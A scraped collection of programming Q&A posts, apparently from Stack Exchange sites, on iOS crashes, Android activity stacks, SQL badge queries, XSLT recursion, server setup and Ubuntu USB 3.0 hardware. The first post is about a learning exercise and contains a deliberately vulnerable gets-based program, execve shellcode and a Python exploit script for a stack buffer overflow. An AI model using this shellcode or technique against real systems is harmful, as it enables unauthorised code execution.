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• Shellcode for a simple stack overflow doesn't start a shell

  - by henning

  Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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• iPhone app crashes on start-up, in stack-trace only messages from built-in frameworks

  - by Aleksejs

  My app some times crashes at start-up. In stack-trace only messages from built-in frameworks. An excerpt from a crash log: OS Version: iPhone OS 3.1.3 (7E18) Report Version: 104 Exception Type: EXC_BAD_ACCESS (SIGBUS) Exception Codes: KERN_PROTECTION_FAILURE at 0x000e6000 Crashed Thread: 0 Thread 0 Crashed: 0 CoreGraphics 0x339305d8 argb32_image_mark_RGB32 + 704 1 CoreGraphics 0x338dbcd4 argb32_image + 1640 2 libRIP.A.dylib 0x320d99f0 ripl_Mark 3 libRIP.A.dylib 0x320db3ac ripl_BltImage 4 libRIP.A.dylib 0x320cc2a0 ripc_RenderImage 5 libRIP.A.dylib 0x320d5238 ripc_DrawImage 6 CoreGraphics 0x338d7da4 CGContextDelegateDrawImage + 80 7 CoreGraphics 0x338d7d14 CGContextDrawImage + 364 8 UIKit 0x324ee68c compositeCGImageRefInRect 9 UIKit 0x324ee564 -[UIImage(UIImageDeprecated) compositeToRect:fromRect:operation:fraction:] 10 UIKit 0x32556f44 -[UINavigationBar drawBackButtonBackgroundInRect:withStyle:pressed:] 11 UIKit 0x32556b00 -[UINavigationItemButtonView drawRect:] 12 UIKit 0x324ecbc4 -[UIView(CALayerDelegate) drawLayer:inContext:] 13 QuartzCore 0x311cacfc -[CALayer drawInContext:] 14 QuartzCore 0x311cab00 backing_callback 15 QuartzCore 0x311ca388 CABackingStoreUpdate 16 QuartzCore 0x311c978c -[CALayer _display] 17 QuartzCore 0x311c941c -[CALayer display] 18 QuartzCore 0x311c9368 CALayerDisplayIfNeeded 19 QuartzCore 0x311c8848 CA::Context::commit_transaction(CA::Transaction*) 20 QuartzCore 0x311c846c CA::Transaction::commit() 21 QuartzCore 0x311c8318 +[CATransaction flush] 22 UIKit 0x324f5e94 -[UIApplication _reportAppLaunchFinished] 23 UIKit 0x324a7a80 -[UIApplication _runWithURL:sourceBundleID:] 24 UIKit 0x324f8df8 -[UIApplication handleEvent:withNewEvent:] 25 UIKit 0x324f8634 -[UIApplication sendEvent:] 26 UIKit 0x324f808c _UIApplicationHandleEvent 27 GraphicsServices 0x335067dc PurpleEventCallback 28 CoreFoundation 0x323f5524 CFRunLoopRunSpecific 29 CoreFoundation 0x323f4c18 CFRunLoopRunInMode 30 UIKit 0x324a6c00 -[UIApplication _run] 31 UIKit 0x324a5228 UIApplicationMain 32 Journaler 0x000029ac main (main.m:14) 33 Journaler 0x00002948 start + 44 File main.m is simple as possible: #import <UIKit/UIKit.h> int main(int argc, char *argv[]) { NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init]; int retVal = UIApplicationMain(argc, argv, nil, nil); // line 14 [pool release]; return retVal; } What my cause the app to crash?

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• Strange activity stack behavior when using MapActivity

  - by AndroidDev

  I have the following activity structure in my application A simple "splash screen" activity is started when the application is fired up (let's call it "Splash"). This activity starts the main activity when the user presses a button (I will call it "Main"). Main can in turn start two activities from the menu. The first activity presents a simple form (let's call this one "Form"), the second is a MapActivity that presents a map (it is called "Map"). Main, Form, and Map are declared exactly the same in the manifest: <activity android:name="fully qualified activity class" android:screenOrientation="landscape" android:configChanges="keyboard|keyboardHidden|orientation" > <intent-filter> <action android:name="android.intent.action.DEFAULT" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity> When Main is active and I start Form and press "back", Main comes up again. Pressing "back" again brings up "Splash". Nothing strange here. Now comes the strange part: when I am in Main, start Map, and press "back", Main comes up as expected. But pressing "back" again just restarts Main. A second press on "back" is needed to bring me back to Splash! So it seems that starting the Map activity somehow results in Main ending up on the activity stack twice while starting the Form activity does not! Both Form and Map are started like this: startActivity(new Intent(this, MyActivity.class)); I don not catch the back key in any activity. Any clues on what is going on or how to debug this?

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• Beginner SQL question: querying gold and silver tag badges in Stack Exchange Data Explorer

  - by polygenelubricants

  I'm using the Stack Exchange Data Explorer to learn SQL, but I think the fundamentals of the question is applicable to other databases. I'm trying to query the Badges table, which according to Stexdex (that's what I'm going to call it from now on) has the following schema: Badges Id UserId Name Date This works well for badges like [Epic] and [Legendary] which have unique names, but the silver and gold tag-specific badges seems to be mixed in together by having the same exact name. Here's an example query I wrote for [mysql] tag: SELECT UserId as [User Link], Date FROM Badges Where Name = 'mysql' Order By Date ASC The (slightly annotated) output is: as seen on stexdex: User Link Date --------------- ------------------- // all for silver except where noted Bill Karwin 2009-02-20 11:00:25 Quassnoi 2009-06-01 10:00:16 Greg 2009-10-22 10:00:25 Quassnoi 2009-10-31 10:00:24 // for gold Bill Karwin 2009-11-23 11:00:30 // for gold cletus 2010-01-01 11:00:23 OMG Ponies 2010-01-03 11:00:48 Pascal MARTIN 2010-02-17 11:00:29 Mark Byers 2010-04-07 10:00:35 Daniel Vassallo 2010-05-14 10:00:38 This is consistent with the current list of silver and gold earners at the moment of this writing, but to speak in more timeless terms, as of the end of May 2010 only 2 users have earned the gold [mysql] tag: Quassnoi and Bill Karwin, as evidenced in the above result by their names being the only ones that appear twice. So this is the way I understand it: The first time an Id appears (in chronological order) is for the silver badge The second time is for the gold Now, the above result mixes the silver and gold entries together. My questions are: Is this a typical design, or are there much friendlier schema/normalization/whatever you call it? In the current design, how would you query the silver and gold badges separately? GROUP BY Id and picking the min/max or first/second by the Date somehow? How can you write a query that lists all the silver badges first then all the gold badges next? Imagine also that the "real" query may be more complicated, i.e. not just listing by date. How would you write it so that it doesn't have too many repetition between the silver and gold subqueries? Is it perhaps more typical to do two totally separate queries instead? What is this idiom called? A row "partitioning" query to put them into "buckets" or something?

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• UINavigationController navigation stack problems in Landscape Mode

  - by David F

  I have a iPhone application that I am currently converting to a Universal Binary to work with the iPad. I have successfully implemented everything I need in terms of layout so that full landscape functionality is now supported in my app (previously I primarily used portrait mode to display content). But, I have one strange problem, and it ONLY occurs in landscape mode: when I push a view controller onto the stack, it takes two taps on the back button to return to the previous view controller!!! The first tap shows a blank view, but with the same name on the left-side back navigation button, the second tap takes the controller back to previous view like it should. I don't have an iPad to test, so I am relying on the simulator. The problem does not show up on the iPhone and doesn't show up if you rotate back to portrait mode. My app consists of a tabbarcontroller with navigation controllers loaded for its vc's: //application delegate - (void)applicationDidFinishLaunching:(UIApplication *)application //.... WebHelpViewController *vc8 = [[WebHelpViewController alloc] init]; UINavigationController *nv8 = [[UINavigationController alloc] initWithRootViewController:vc8]; [self.tabBarController setViewControllers:[NSArray arrayWithObjects:nv1,nv2,nv3,nv4,nv5,nv6,nv7,nv8,nil]]; To implement landscape capability, the UITabBarController is overridden to autorotate when required: //CustomTabBarController.m - (BOOL)shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation { return [[(UINavigationController *)self.selectedViewController topViewController] shouldAutorotateToInterfaceOrientation:interfaceOrientation]; } ... works fine. I navigate into new views using this method SomeViewController *vc = [[SomeViewController alloc] init]; [self.navigationController pushViewController:vc animated:YES]; [vc release]; Has anyone encountered this problem, and do they know if it's only a simulation error?

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• Stack Overflow on Marshal.PtrToStructure reading wmv files

  - by Nick Udell

  Hi, I'm using a frame grabber class in order to capture and process each frame in a video. The class can be found here: http://www.codeproject.com/KB/graphics/FrameGrabber.aspx I'm having issues with running it, however. When loading the file, it attempts to marshal a video format pointer into a VideoInfoHeader (I'm using DirectShow.Net). The code that does this is as follows: videoInfo = (VideoInfoHeader)Marshal.PtrToStructure(mediaType.formatPtr, typeof(VideoInfoHeader)); When I run this it immediately crashes out of the debugging environment, probably with a stack overflow. When stepping through I can see that the formatPtr always equals 93, though I do not know what to make of this as I am fairly new to marshalling. I have checked that the video runs fine in Windows Media Player. This is essential in finding the dimensions of the video and also the size of the header, which needs to be skipped before the frames can be read. I am running Windows 7 x64. Any help on this would be much appreciated, I must've tried fifteen different frame grabbing techniques.

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• stack overflow on XMLListCollection collectionEvent

  - by reidLinden

  I'm working on a Flex 3 project, and I'm using a pair of XMLListCollection(s) to manage a combobox and a data grid. The combobox piece is working perfectly. The XMLListCollection for this is static. The user picks an item, and, on "change", it fires off an addItem() to the second collection. The second collection's datagrid then displays the updated list, and all is well. The datagrid, however, is editable. A further complication is that I have another event handler bound to the second XMLLIstCollection's "change" event, and in that handler, I do make additional changes to the second list. This essentially causes an infinite loop (a stack overflow :D ), of the second lists "change" handler. I'm not really sure how to handle this. Searching has brought up an idea or two regarding AutoUpdate functionality, but I wasn't able to get much out of them. In particular, the behavior persists, executing the 'updates' as soon as I re-enable, so I imagine I may be doing it wrong. I want the update to run, in general, just not DURING that code block. Thanks for your help!

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• Crashing when pushing a XIB based view controller onto navigation controller stack

  - by Michael

  I was attempting to clean up the implementation for a sub-panel on a navigation controller stack, so that the navigation bar could be customized in the XIB instead of doing it manually in the viewDidLoad method. The original (working) setup had the XIB set up with the "File's Owner" class set to the view controller class, and then the view at the top level. This works fine. In the "Interface Builder User Guide", p. 71, it describes the recommended way to build the XIBs for sub-panels ("additional navigation levels"). This approach leaves the "File's Owner" class as NSObject, but adds a UIViewController at the top level, and nests the view (and navigation item) underneath it. The UIViewController's view automatically gets connected to the contained view. When I try to push the controller init'd with this new XIB, the app crashes because of a missing view: SettingsViewController *controller = [[SettingsViewController alloc] initWithNibName:@"SettingsView" bundle:nil]; [self.navigationController pushViewController:controller animated:YES]; 2010-04-23 11:17:37.135 xxxx[1173:207] * Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: '-[UIViewController _loadViewFromNibNamed:bundle:] loaded the "SettingsTestView" nib but the view outlet was not set.' I've double checked everything, and tried building a clean XIB from scratch, but get the same result. I looked through a number of the code sample projects, and NONE of them use the documented/recommended approach--they all use the File's Owner class and manually set up the navigation bar in viewDidLoad like I originally had it. Is it possible to get it working the "recommended" way? Thanks! Michael

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• Is there a way to stop a UIViewController from being popped from a UINavigationController's stack wh

  - by yabada

  I have a UINavigationController with a root view controller and then I push a UIViewController onto the navigation controller's stack. When the user taps the backBarButtonItem I'd like to be able to have an alert view pop up if there are certain conditions met and cancel the pop of the view controller. For example, the user can make certain selections but some combination of them may be invalid so I want to notify them to make changes. I know that I can prevent the user from making an invalid combination or have an alert view pop up when the invalid combination is selected but I'd rather not do that. The user may be changing selections and may be aware that a certain combination is invalid but I'd rather let them select something that makes the combination invalid then go change something else (and notify them if they haven't made changes before trying to go to the previous screen). For example, if I prevent them from make the invalid combination then they may have to scroll up on a screen, change something, then scroll back down instead of making a selection then scrolling up and changing something. Using viewWillDisappear: doesn't work because, although I can produce an alert view, I cannot figure out a way to prevent the pop from occurring. The alert view pops up but the view controller still pops and they are back to the root view controller (with the alert view displaying). Is there a way to prevent the pop from occurring? If not, is this something worth filing a bug report about or is this unnecessary and/or esoteric?

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• Silverlight Data Binding for Collection in Stack Panel

  - by Blake Blackwell

  I'm new to Silverlight, so I don't have a complete grasp of all the controls at my disposal. What I would like to do is use databinding and a view model to maintain a collection of items. Here is some mock code for what I'd like to do: Model public class MyItem { public string DisplayText { get; set; } public bool Enabled { get; set; } } ViewModel public class MyViewModel : INotifyPropertyChanged { private ObservableCollection<MyItem> _myItems = new ObservableCollection<MyItem>(); public ObservableCollection<MyItem> MyItems { get { return _myItems; } set { _myItems = value NotifyPropertyChanged(this, "MyItems"); } } } View <Grid x:Name="LayoutRoot" Background="White"> <StackPanel ItemsSource="{Binding MyItems}"> <StackPanel Orientation="Horizontal"> <CheckBox "{Binding Enabled, Mode=TwoWay}"></CheckBox> <TextBlock Text="{Binding DisplayText, Mode=TwoWay}" /> </StackPanel> </StackPanel> </Grid> So my end goal would be that every time I add another MyItem to the MyItems collection it would create a new StackPanel with checkbox and textblock. I don't have to use a stack panel but just thought I'd use that for this sample.

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• Stack Overflow problem transforming with a custom xslt

  - by Flynn1179

  I've got a system that allows the user the option of providing their own XSLT to apply to some data that's been retrieved, as a means of specifying how that data should be presented. However, if the user includes code in the XSLT equivalent to: <xsl:template match="/"> <xsl:element name="data"> <xsl:apply-templates select="." /> </xsl:element> </xsl:template> this causes .NET to infinitely recurse trying to process it, and produces a stack overflow error. I need to be able to trap this before it crashes the app, as the data that's been retrieved is occasionally quite time-consuming to obtain, and the data is lost when this happens. Is there any way of doing this? I know it's theoretically possible to identify any occurrences of xsl:apply-templates with "." in the select attribute, but this isn't the only way an infinite recursion could happen, I need a way of generically trapping it.

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• Fastest Java way to remove the first/top line of a file (like a stack)

  - by christangrant

  I am trying to improve an external sort implementation in java. I have a bunch of BufferedReader objects open for temporary files. I repeatedly remove the top line from each of these files. This pushes the limits of the Java's Heap. I would like a more scalable method of doing this without loosing speed because of a bunch of constructor calls. One solution is to only open files when they are needed, then read the first line and then delete it. But I am afraid that this will be significantly slower. So using Java libraries what is the most efficient method of doing this. --Edit-- For external sort, the usual method is to break a large file up into several chunk files. Sort each of the chunks. And then treat the sorted files like buffers, pop the top item from each file, the smallest of all those is the global minimum. Then continue until for all items. http://en.wikipedia.org/wiki/External_sorting My temporary files (buffers) are basically BufferedReader objects. The operations performed on these files are the same as stack/queue operations (peek and pop, no push needed). I am trying to make these peek and pop operations more efficient. This is because using many BufferedReader objects takes up too much space.

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• File descriptor limits and default stack sizes

  - by Charles

  Where I work we build and distribute a library and a couple complex programs built on that library. All code is written in C and is available on most 'standard' systems like Windows, Linux, Aix, Solaris, Darwin. I started in the QA department and while running tests recently I have been reminded several times that I need to remember to set the file descriptor limits and default stack sizes higher or bad things will happen. This is particularly the case with Solaris and now Darwin. Now this is very strange to me because I am a believer in 0 required environment fiddling to make a product work. So I am wondering if there are times where this sort of requirement is a necessary evil, or if we are doing something wrong. Edit: Great comments that describe the problem and a little background. However I do not believe I worded the question well enough. Currently, we require customers, and hence, us the testers, to set these limits before running our code. We do not do this programatically. And this is not a situation where they MIGHT run out, under normal load our programs WILL run out and seg fault. So rewording the question, is requiring the customer to change these ulimit values to run our software to be expected on some platforms, ie, Solaris, Aix, or are we as a company making it to difficult for these users to get going? Bounty: I added a bounty to hopefully get a little more information on what other companies are doing to manage these limits. Can you set these pragmatically? Should we? Should our programs even be hitting these limits or could this be a sign that things might be a bit messy under the covers? That is really what I want to know, as a perfectionist a seemingly dirty program really bugs me.

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• Python: eliminating stack traces into library code?

  - by Mark Harrison

  When I get a runtime exception from the standard library, it's almost always a problem in my code and not in the library code. Is there a way to truncate the exception stack trace so that it doesn't show the guts of the library package? For example, I would like to get this: Traceback (most recent call last): File "./lmd3-mkhead.py", line 71, in <module> main() File "./lmd3-mkhead.py", line 66, in main create() File "./lmd3-mkhead.py", line 41, in create headver1[depotFile]=rev TypeError: Data values must be of type string or None. and not this: Traceback (most recent call last): File "./lmd3-mkhead.py", line 71, in <module> main() File "./lmd3-mkhead.py", line 66, in main create() File "./lmd3-mkhead.py", line 41, in create headver1[depotFile]=rev File "/usr/anim/modsquad/oses/fc11/lib/python2.6/bsddb/__init__.py", line 276, in __setitem__ _DeadlockWrap(wrapF) # self.db[key] = value File "/usr/anim/modsquad/oses/fc11/lib/python2.6/bsddb/dbutils.py", line 68, in DeadlockWrap return function(*_args, **_kwargs) File "/usr/anim/modsquad/oses/fc11/lib/python2.6/bsddb/__init__.py", line 275, in wrapF self.db[key] = value TypeError: Data values must be of type string or None.

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• Smarter println that shows the depth in the stack

  - by Hectoret

  I am using System.out.println in my code to track the execution of a program and get some useful output. This creates results like this in the console: Main function. Program starts. Method getArea. Getting values Method getSide. Side is 6 Method getArea. First value is 6 Method getSide. Side is 8 Method getArea. Second value is 8 Method getArea. Area is 48 Main function. The final area is 48 I would like to create tha method, which adds a space in front of the output every time the code goes deeper in the method call stack. For example, the same code but instead of using System.out.println, now with Misc.smartPrintln: Main function. Program starts. Method getArea. Getting values Method getSide. Side is 6 Method getArea. First value is 6 Method getSide. Side is 8 Method getArea. Second value is 8 Method getArea. Area is 48 Main function. The final area is 48 The method would have this definition: public static void smartPrintln(String string); I don't know how to implement this functionality. Any ideas how to solve this? And, could the use of a logger offer this functionality?

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• LAMP stack security question - uploading files to server

  - by morpheous

  I am running Ubuntu 9.10 desktop on my home machine. I need to upload files from my local machine, to my web server, on a periodic basis. My server is running Ubuntu Server LTS. I want my server to be secure, and only run the LAMP stack and possibly, an email server. I do not (ideally) want to have FTP or anything that can allow (more) knowledgeable hackers to be able to hack into my server. Can anyone recommend how I may send files from my local machine to the server? This may seem an easy/trivial question, but I am relatively new to Linux - and I got my previous Windows server machine serious hacked in the past, hence the move to Linux, and thats why I am so security conscious.

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• BitNami LAMP stack on ubuntu

  - by Desmond Liang

  I just installed BitNami LAMP stack on ubuntu. When I visit localhost/127.0.0.1 Apache returns "403 Forbidden. You don't have permission to access / on this server." I try repointing Apache's home directory to another folder (same hard drive, same partition) that's set to 777 recursively. Still getting 403. And then I change the ownership of the directory to under my username and daemon group from root/root. Same error. Am I missing something here?

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• Disable public Tomcat6 stack trace

  - by The NinjaSysadmin

  Can anyone advise me how I can go about disabling Tomcat6 from displaying stacktrace output to the browser? Tomcat: 6.0.29 I have made the following changes to /opt/apache-tomcat-6.0.29/conf/web.xml <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/error.jsp</location> </error-page> I'm told putting this in place will give a white screen if the file doesn't exist, however I'm getting stack traces to the screen.

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• Fine-tuning a LNMP stack

  - by Norman

  I'm in the process of setting up a server with 4GB RAM and 2 CPUs. The stack will be CentOS + NGINX + MySQL + PHP (with APC) and spawn-fcgi. It will be used to serve 10 Wordpress blogs, 3 of which receive about 20,000 hits per day. Each Wordpress instance is equipped with the W3 TotalCache. I have a few variables to play with: NGINX (How many worker_processes, worker_connections, etc) PHP (What parameters in php.ini should I change? What about apc?) Spawn-fcgi (Right now I have 6 php-cgi spawned. How many of them should I have?) I realize it's hard to tell without testing, but if you could please provide me with some ballpark numbers, that would be helpful too.

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• FreeBSD Jail own network stack with vimage

  - by bodokaiser

  I want to throw all services from the host system and put them in jails. Unfortunatly this doesn't work for file sharing (e.g. nfsd) because the jails don't have there own network stack by default. I know read something about vimage which would solve this issue. See more in this thread: http://forums.freebsd.org/showthread.php?t=9006 The use of vimage with raw jails should use moreorless but the use with vimage and ezjail makes it hard. Does anyone have experience about this topic and wants to share it? Regards

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• On mobile is there a reason why processes are often short lived and must persist their state explicitly?

  - by Alexandre Jasmin

  Most mobile platforms (such as Android, iOS, Windows phone 7 and I believe the new WinRT) can kill inactive application processes under memory pressure. To prevent this from affecting the user experience applications are expected to save and restore their state as their process is killed and restarted. Having application processes killed in this way makes the developers job harder. On various occasions I've seen a mobile app that would: Return to the welcome screen each time I switch back to it. Crash when I switch back to it (possibly accessing some state that no longer exists after the process was killed) Misbehave when I switch back to it (sometimes requiring a restart or tasks killer to fix) Otherwise misbehave in some hard to reproduce way (e.g. android service killed and restarted at the wrong time) I don't really understand why these mobile operating systems are designed to kill tasks in this way especially since it makes application development more difficult and error prone. Desktop operating systems don't kill processes like that. They swap out unused pages of memory to mass storage. Is there a reason why the same approach isn't used on mobile? Mobile hardware is only a few years behind PC hardware in term of performance. I'm sure there are very good reasons why mobile operating systems are designed this way. If you can point me to a paper or blog post that explain these reasons or can give me some insight I'd very much appreciate it.

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• NEC uPD720200 USB 3.0 not working on Ubuntu 12.04

  - by Jagged

  I've recently installed Ubuntu 12.04 64-bit on a HP Envy 15 1104tx. Most stuff appears to be working fine with the exception of the two USB3 ports (USB2 port works fine). I've read a lot of articles but so far have not been able to find a solution. I've tried adding 'pci=nomsi' to '/etc/default/grub' but this made no difference. Some articles suggest booting into Windows and upgrading the firmware on the uPD720200. Any body had any experience of this? Is there a way I can checked the firmware version of the NEC uPD720200 in Linux to see if there is an update available? Any help appreciated. uname -a: Linux HP-ENVY-15-1104tx 3.2.0-26-generic #41-Ubuntu SMP Thu Jun 14 17:49:24 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux lshw: hp-envy-15-1104tx description: Notebook product: HP ENVY 15 Notebook PC (WF591PA#ABG) vendor: Hewlett-Packard version: 0492110000241910001420000 serial: CNF0301C79 width: 64 bits capabilities: smbios-2.6 dmi-2.6 vsyscall32 configuration: boot=normal chassis=notebook family=103C_5335KV sku=WF591PA#ABG uuid=434E4630-3330-3143-3739-60EB6906688F *-core description: Motherboard product: 1522 vendor: Hewlett-Packard physical id: 0 version: 36.35 serial: CNF0301C79 slot: Base Board Chassis Location *-firmware description: BIOS vendor: Hewlett-Packard physical id: 0 version: F.2B date: 10/12/2010 size: 1MiB capacity: 1472KiB capabilities: pci upgrade shadowing cdboot bootselect edd int13floppynec int13floppytoshiba int13floppy360 int13floppy1200 int13floppy720 int13floppy2880 int9keyboard int10video acpi usb biosbootspecification *-memory description: System Memory physical id: 13 slot: System board or motherboard size: 16GiB *-bank:0 description: SODIMM DDR3 Synchronous 1333 MHz (0.8 ns) product: 9905428-043.A00LF physical id: 0 serial: E13C4316 slot: Bottom size: 4GiB width: 64 bits clock: 1333MHz (0.8ns) *-bank:1 description: SODIMM DDR3 Synchronous 1333 MHz (0.8 ns) product: 9905428-043.A00LF physical id: 1 serial: E03C3E16 slot: Bottom size: 4GiB width: 64 bits clock: 1333MHz (0.8ns) *-bank:2 description: SODIMM DDR3 Synchronous 1333 MHz (0.8 ns) product: 9905428-043.A00LF physical id: 2 serial: 672279CC slot: On Board size: 4GiB width: 64 bits clock: 1333MHz (0.8ns) *-bank:3 description: SODIMM DDR3 Synchronous 1333 MHz (0.8 ns) product: 9905428-043.A00LF physical id: 3 serial: 652286CC slot: On Board size: 4GiB width: 64 bits clock: 1333MHz (0.8ns) *-cpu description: CPU product: Intel(R) Core(TM) i7 CPU Q 820 @ 1.73GHz vendor: Intel Corp. physical id: 1d bus info: cpu@0 version: Intel(R) Core(TM) i7 CPU Q 820 @ 1.73GHz slot: CPU size: 1199MHz capacity: 1199MHz width: 64 bits clock: 1066MHz capabilities: x86-64 fpu fpu_exception wp vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf pni dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 sse4_2 popcnt lahf_lm ida tpr_shadow vnmi flexpriority ept vpid cpufreq configuration: cores=4 enabledcores=4 threads=8 *-cache:0 description: L3 cache physical id: 1e slot: L3 Cache size: 8MiB capacity: 8MiB capabilities: synchronous internal write-through unified *-cache:1 description: L2 cache physical id: 20 slot: L2 Cache size: 256KiB capacity: 256KiB capabilities: synchronous internal write-through unified *-cache:2 description: L1 cache physical id: 21 slot: L1 Cache size: 32KiB capacity: 32KiB capabilities: synchronous internal write-through instruction *-cache description: L1 cache physical id: 1f slot: L1 Cache size: 32KiB capacity: 32KiB capabilities: synchronous internal write-through data *-pci:0 description: Host bridge product: Core Processor DMI vendor: Intel Corporation physical id: 100 bus info: pci@0000:00:00.0 version: 11 width: 32 bits clock: 33MHz *-pci:0 description: PCI bridge product: Core Processor PCI Express Root Port 1 vendor: Intel Corporation physical id: 3 bus info: pci@0000:00:03.0 version: 11 width: 32 bits clock: 33MHz capabilities: pci msi pciexpress pm normal_decode bus_master cap_list configuration: driver=pcieport resources: irq:16 ioport:4000(size=4096) memory:d4100000-d41fffff ioport:c0000000(size=268435456) *-display description: VGA compatible controller product: Broadway PRO [Mobility Radeon HD 5800 Series] vendor: Hynix Semiconductor (Hyundai Electronics) physical id: 0 bus info: pci@0000:01:00.0 version: 00 width: 64 bits clock: 33MHz capabilities: pm pciexpress msi vga_controller bus_master cap_list rom configuration: driver=fglrx_pci latency=0 resources: irq:58 memory:c0000000-cfffffff memory:d4100000-d411ffff ioport:4000(size=256) memory:d4140000-d415ffff *-multimedia description: Audio device product: Juniper HDMI Audio [Radeon HD 5700 Series] vendor: Hynix Semiconductor (Hyundai Electronics) physical id: 0.1 bus info: pci@0000:01:00.1 version: 00 width: 64 bits clock: 33MHz capabilities: pm pciexpress msi bus_master cap_list configuration: driver=snd_hda_intel latency=0 resources: irq:56 memory:d4120000-d4123fff *-pci:1 description: PCI bridge product: Core Processor PCI Express Root Port 3 vendor: Intel Corporation physical id: 5 bus info: pci@0000:00:05.0 version: 11 width: 32 bits clock: 33MHz capabilities: pci msi pciexpress pm normal_decode bus_master cap_list configuration: driver=pcieport resources: irq:16 memory:d4000000-d40fffff *-usb description: USB controller product: uPD720200 USB 3.0 Host Controller vendor: NEC Corporation physical id: 0 bus info: pci@0000:02:00.0 version: 03 width: 64 bits clock: 33MHz capabilities: pm msi msix pciexpress xhci bus_master cap_list configuration: driver=xhci_hcd latency=0 resources: irq:16 memory:d4000000-d4001fff *-generic:0 UNCLAIMED description: System peripheral product: Core Processor System Management Registers vendor: Intel Corporation physical id: 8 bus info: pci@0000:00:08.0 version: 11 width: 32 bits clock: 33MHz capabilities: pciexpress cap_list configuration: latency=0 *-generic:1 UNCLAIMED description: System peripheral product: Core Processor Semaphore and Scratchpad Registers vendor: Intel Corporation physical id: 8.1 bus info: pci@0000:00:08.1 version: 11 width: 32 bits clock: 33MHz capabilities: pciexpress cap_list configuration: latency=0 *-generic:2 UNCLAIMED description: System peripheral product: Core Processor System Control and Status Registers vendor: Intel Corporation physical id: 8.2 bus info: pci@0000:00:08.2 version: 11 width: 32 bits clock: 33MHz capabilities: pciexpress cap_list configuration: latency=0 *-generic:3 UNCLAIMED description: System peripheral product: Core Processor Miscellaneous Registers vendor: Intel Corporation physical id: 8.3 bus info: pci@0000:00:08.3 version: 11 width: 32 bits clock: 33MHz configuration: latency=0 *-generic:4 UNCLAIMED description: System peripheral product: Core Processor QPI Link vendor: Intel Corporation physical id: 10 bus info: pci@0000:00:10.0 version: 11 width: 32 bits clock: 33MHz configuration: latency=0 *-generic:5 UNCLAIMED description: System peripheral product: Core Processor QPI Routing and Protocol Registers vendor: Intel Corporation physical id: 10.1 bus info: pci@0000:00:10.1 version: 11 width: 32 bits clock: 33MHz configuration: latency=0 *-multimedia description: Audio device product: 5 Series/3400 Series Chipset High Definition Audio vendor: Intel Corporation physical id: 1b bus info: pci@0000:00:1b.0 version: 05 width: 64 bits clock: 33MHz capabilities: pm msi pciexpress bus_master cap_list configuration: driver=snd_hda_intel latency=0 resources: irq:55 memory:d4200000-d4203fff *-pci:2 description: PCI bridge product: 5 Series/3400 Series Chipset PCI Express Root Port 1 vendor: Intel Corporation physical id: 1c bus info: pci@0000:00:1c.0 version: 05 width: 32 bits clock: 33MHz capabilities: pci pciexpress msi pm normal_decode bus_master cap_list configuration: driver=pcieport resources: irq:17 ioport:3000(size=4096) memory:d3000000-d3ffffff ioport:d0000000(size=16777216) *-network description: Wireless interface product: Centrino Advanced-N 6200 vendor: Intel Corporation physical id: 0 bus info: pci@0000:03:00.0 logical name: wlan0 version: 35 serial: 00:27:10:40:e4:68 width: 64 bits clock: 33MHz capabilities: pm msi pciexpress bus_master cap_list ethernet physical wireless configuration: broadcast=yes driver=iwlwifi driverversion=3.2.0-26-generic firmware=9.221.4.1 build 25532 latency=0 link=no multicast=yes wireless=IEEE 802.11abgn resources: irq:54 memory:d3000000-d3001fff *-pci:3 description: PCI bridge product: 5 Series/3400 Series Chipset PCI Express Root Port 2 vendor: Intel Corporation physical id: 1c.1 bus info: pci@0000:00:1c.1 version: 05 width: 32 bits clock: 33MHz capabilities: pci pciexpress msi pm normal_decode bus_master cap_list configuration: driver=pcieport resources: irq:16 ioport:2000(size=4096) memory:d2000000-d2ffffff ioport:d1000000(size=16777216) *-network description: Ethernet interface product: AR8131 Gigabit Ethernet vendor: Atheros Communications Inc. physical id: 0 bus info: pci@0000:04:00.0 logical name: eth0 version: c0 serial: 60:eb:69:06:68:8f size: 1Gbit/s capacity: 1Gbit/s width: 64 bits clock: 33MHz capabilities: pm msi pciexpress vpd bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation configuration: autonegotiation=on broadcast=yes driver=atl1c driverversion=1.0.1.0-NAPI duplex=full firmware=N/A ip=10.161.0.147 latency=0 link=yes multicast=yes port=twisted pair speed=1Gbit/s resources: irq:57 memory:d2000000-d203ffff ioport:2000(size=128) *-usb 